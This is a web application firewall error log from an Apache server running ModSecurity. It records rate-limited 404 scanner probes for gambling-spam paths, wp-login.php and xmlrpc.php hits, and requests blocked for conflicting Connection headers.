[Sat Apr 18 18:51:04.186215 2026] [:error] [pid 34237:tid 34244] [client 51.161.86.195:40314] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aeNiGBBmX4Wq5a6rxfZ-FAAAAUU"]
[Sat Apr 18 18:51:05.787017 2026] [:error] [pid 34237:tid 34243] [client 51.161.86.195:48196] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeNiGRBmX4Wq5a6rxfZ-HgAAAUQ"]
[Sat Apr 18 18:51:06.315350 2026] [:error] [pid 34237:tid 34255] [client 51.161.86.195:48206] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aeNiGhBmX4Wq5a6rxfZ-IgAAAVA"]
[Sat Apr 18 18:51:06.712211 2026] [:error] [pid 9864:tid 9914] [client 51.161.86.195:48214] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aeNiGoCFeowknfXHM7n7kAAAAEg"]
[Sat Apr 18 18:51:07.772177 2026] [:error] [pid 9864:tid 9916] [client 51.161.86.195:48230] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeNiG4CFeowknfXHM7n7kwAAAEo"]
[Sat Apr 18 18:51:08.357034 2026] [:error] [pid 9864:tid 9924] [client 51.161.86.195:48240] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeNiHICFeowknfXHM7n7lwAAAFI"]
[Sat Apr 18 18:51:09.634015 2026] [:error] [pid 9864:tid 9917] [client 51.161.86.195:48248] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeNiHYCFeowknfXHM7n7mQAAAEs"]
[Sat Apr 18 18:51:10.305028 2026] [:error] [pid 34237:tid 34258] [client 51.161.86.195:48262] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aeNiHhBmX4Wq5a6rxfZ-MQAAAVM"]
[Sat Apr 18 18:51:11.533327 2026] [:error] [pid 34237:tid 34262] [client 51.161.86.195:48264] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeNiHxBmX4Wq5a6rxfZ-OgAAAVc"]
[Sat Apr 18 18:51:12.580569 2026] [:error] [pid 34290:tid 34329] [client 51.161.86.195:48278] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeNiIBqX6WpmmAXOBi8EAAAAAco"]
[Sat Apr 18 18:51:14.825532 2026] [:error] [pid 9864:tid 9922] [client 51.161.86.195:48292] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeNiIoCFeowknfXHM7n7ogAAAFA"]
[Sat Apr 18 18:51:18.025923 2026] [:error] [pid 9864:tid 9919] [client 51.161.86.195:55414] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeNiJoCFeowknfXHM7n7pAAAAE0"]
[Sat Apr 18 18:51:20.282179 2026] [:error] [pid 9865:tid 9937] [client 51.161.86.195:55428] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeNiKKzb5knECIY-C-h0cgAAAIA"]
[Sat Apr 18 18:51:22.263859 2026] [:error] [pid 9864:tid 9920] [client 51.161.86.195:55438] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeNiKoCFeowknfXHM7n7rQAAAE4"]
[Sat Apr 18 18:51:24.295453 2026] [:error] [pid 9865:tid 9961] [client 51.161.86.195:55450] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeNiLKzb5knECIY-C-h0cwAAAJg"]
[Sat Apr 18 18:51:26.560044 2026] [:error] [pid 13023:tid 13033] [client 51.161.86.195:46824] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeNiLv1e7hG8DAeABB_yhAAAAQg"]
[Sat Apr 18 18:53:05.967657 2026] [:error] [pid 34290:tid 34322] [client 51.161.86.195:56650] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeNikRqX6WpmmAXOBi8ESQAAAcM"]
[Sat Apr 18 18:53:08.202702 2026] [:error] [pid 34237:tid 34251] [client 51.161.86.195:60356] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeNilBBmX4Wq5a6rxfZ-4AAAAUw"]
[Sat Apr 18 18:53:11.057714 2026] [:error] [pid 9865:tid 9947] [client 51.161.86.195:60370] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeNil6zb5knECIY-C-h0wgAAAIo"]
[Sat Apr 18 18:53:12.908516 2026] [:error] [pid 34237:tid 34260] [client 51.161.86.195:60386] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeNimBBmX4Wq5a6rxfZ-5QAAAVU"]
[Sat Apr 18 18:53:15.385124 2026] [:error] [pid 9864:tid 9908] [client 51.161.86.195:32964] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeNim4CFeowknfXHM7n7_QAAAEM"]
[Sat Apr 18 18:53:18.043562 2026] [:error] [pid 13023:tid 13034] [client 51.161.86.195:32972] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeNinv1e7hG8DAeABB_y5QAAAQk"]
[Sat Apr 18 18:53:20.428334 2026] [:error] [pid 34288:tid 34302] [client 51.161.86.195:32982] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeNioOTIiy__PtiLmpnJmwAAAYo"]
[Sat Apr 18 18:53:23.278210 2026] [:error] [pid 34237:tid 34263] [client 51.161.86.195:32992] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aeNioxBmX4Wq5a6rxfZ-8QAAAVg"]
[Sat Apr 18 18:53:25.825048 2026] [:error] [pid 34290:tid 34332] [client 51.161.86.195:51374] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aeNipRqX6WpmmAXOBi8EZgAAAc0"]
[Sat Apr 18 19:00:49.938984 2026] [:error] [pid 9865:tid 9958] [client 43.153.192.98:50710] [client 43.153.192.98] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeNkYazb5knECIY-C-h1owAAAJU"]
[Sat Apr 18 19:02:57.085603 2026] [:error] [pid 34237:tid 34247] [client 104.131.50.136:57510] [client 104.131.50.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.131.50.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeNk4RBmX4Wq5a6rxfaCrwAAAUg"]
[Sat Apr 18 19:02:58.748810 2026] [:error] [pid 34237:tid 34254] [client 104.131.50.136:57510] [client 104.131.50.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.131.50.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeNk4hBmX4Wq5a6rxfaCswAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 20:20:20.570386 2026] [:error] [pid 34237:tid 34257] [client 49.204.124.81:52183] [client 49.204.124.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.124.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeN3BBBmX4Wq5a6rxfarIwAAAVI"]
[Sat Apr 18 20:20:30.995574 2026] [:error] [pid 9970:tid 9985] [client 49.204.124.81:52621] [client 49.204.124.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.124.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeN3DiYdRLRhVmaIMx2z-gAAAMs"]
[Sat Apr 18 20:20:41.543435 2026] [:error] [pid 34237:tid 34253] [client 49.204.124.81:52904] [client 49.204.124.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.124.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeN3GRBmX4Wq5a6rxfarSgAAAU4"]
[Sat Apr 18 20:20:52.007865 2026] [:error] [pid 34290:tid 34335] [client 49.204.124.81:53169] [client 49.204.124.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.124.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeN3JBqX6WpmmAXOBi8cbgAAAdA"]
[Sat Apr 18 20:21:02.586676 2026] [:error] [pid 34288:tid 34300] [client 49.204.124.81:53440] [client 49.204.124.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.124.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeN3LuTIiy__PtiLmpnTVAAAAYg"]
[Sat Apr 18 20:37:04.979826 2026] [:error] [pid 32677:tid 32680] [client 134.209.100.212:33976] [client 134.209.100.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.100.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeN68BngmUE3LdC-wP7bLAAAAkA"]
[Sat Apr 18 20:37:06.583957 2026] [:error] [pid 32677:tid 32695] [client 134.209.100.212:33976] [client 134.209.100.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.100.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeN68hngmUE3LdC-wP7bMQAAAk8"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 20:50:30.862714 2026] [:error] [pid 32678:tid 32708] [client 207.154.197.201:49888] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeN-FhUlAXU_ZWUu5y_48gAAAoE"]
[Sat Apr 18 21:34:10.094892 2026] [:error] [pid 32647:tid 32655] [client 139.162.5.185:57944] [client 139.162.5.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.5.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeOIUkkxooM0iRo6e54pCgAAAgU"]
[Sat Apr 18 21:34:22.526862 2026] [:error] [pid 32647:tid 32651] [client 139.162.5.185:50254] [client 139.162.5.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.5.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeOIXkkxooM0iRo6e54pFAAAAgE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 21:43:37.139714 2026] [:error] [pid 9970:tid 9991] [client 143.198.119.177:57116] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeOKiSYdRLRhVmaIMx3HwAAAANE"]
[Sat Apr 18 21:55:21.293110 2026] [:error] [pid 13023:tid 13026] [client 137.74.194.43:52780] [client 137.74.194.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.74.194.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeONSf1e7hG8DAeABB8pZwAAAQE"]
[Sat Apr 18 21:55:23.139987 2026] [:error] [pid 13023:tid 13046] [client 137.74.194.43:52780] [client 137.74.194.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.74.194.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeONS_1e7hG8DAeABB8paAAAARU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 22:44:19.933909 2026] [:error] [pid 9865:tid 9960] [client 115.186.230.43:57674] [client 115.186.230.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.186.230.43, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeOYw6zb5knECIY-C-ii6AAAAJc"]
[Sat Apr 18 22:45:09.893311 2026] [:error] [pid 32678:tid 32725] [client 82.223.24.195:46256] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeOY9RUlAXU_ZWUu5y8RBQAAApI"]
[Sat Apr 18 22:57:43.594564 2026] [:error] [pid 9970:tid 9986] [client 83.96.201.169:35264] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeOb5yYdRLRhVmaIMx3lmQAAAMw"]
[Sat Apr 18 23:33:09.028029 2026] [:error] [pid 9865:tid 9943] [client 200.52.65.3:60162] [client 200.52.65.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 200.52.65.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeOkNazb5knECIY-C-iuagAAAIY"]
[Sat Apr 18 23:33:12.366623 2026] [:error] [pid 9865:tid 9950] [client 200.52.65.3:60162] [client 200.52.65.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 200.52.65.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeOkOKzb5knECIY-C-iudQAAAI0"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 23:37:38.786302 2026] [:error] [pid 34288:tid 34314] [client 43.159.143.139:56704] [client 43.159.143.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeOlQuTIiy__PtiLmpnhtwAAAZY"]
[Sun Apr 19 00:05:22.958920 2026] [:error] [pid 32165:tid 32171] [client 155.133.138.66:64998] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.138.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeOrwqe2vKwEk_N0BrbhOgAAAAI"]
[Sun Apr 19 00:10:05.984968 2026] [:error] [pid 33517:tid 33539] [client 103.208.218.164:55564] [client 103.208.218.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.208.218.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeOs3X4Zz-rubR1wiZ962AAAANQ"]
[Sun Apr 19 02:24:30.051979 2026] [:error] [pid 32167:tid 32225] [client 145.239.71.147:33284] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aePMXkyD4Jm27Mb3NJiMTwAAAIA"]
[Sun Apr 19 02:24:32.004546 2026] [:error] [pid 32166:tid 32205] [client 145.239.71.147:42682] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aePMYJCHNkWwdiZnafLTnAAAAEc"]
[Sun Apr 19 02:24:33.922573 2026] [:error] [pid 32166:tid 32215] [client 145.239.71.147:42686] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aePMYZCHNkWwdiZnafLToAAAAFE"]
[Sun Apr 19 02:24:36.034729 2026] [:error] [pid 32166:tid 32209] [client 145.239.71.147:42696] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aePMZJCHNkWwdiZnafLTqAAAAEs"]
[Sun Apr 19 02:24:38.066957 2026] [:error] [pid 32165:tid 32170] [client 145.239.71.147:56738] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aePMZqe2vKwEk_N0Brb8KgAAAAE"]
[Sun Apr 19 02:24:40.197116 2026] [:error] [pid 41277:tid 41298] [client 145.239.71.147:56742] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aePMaEH3ayszMLZYflv_4AAAAZM"]
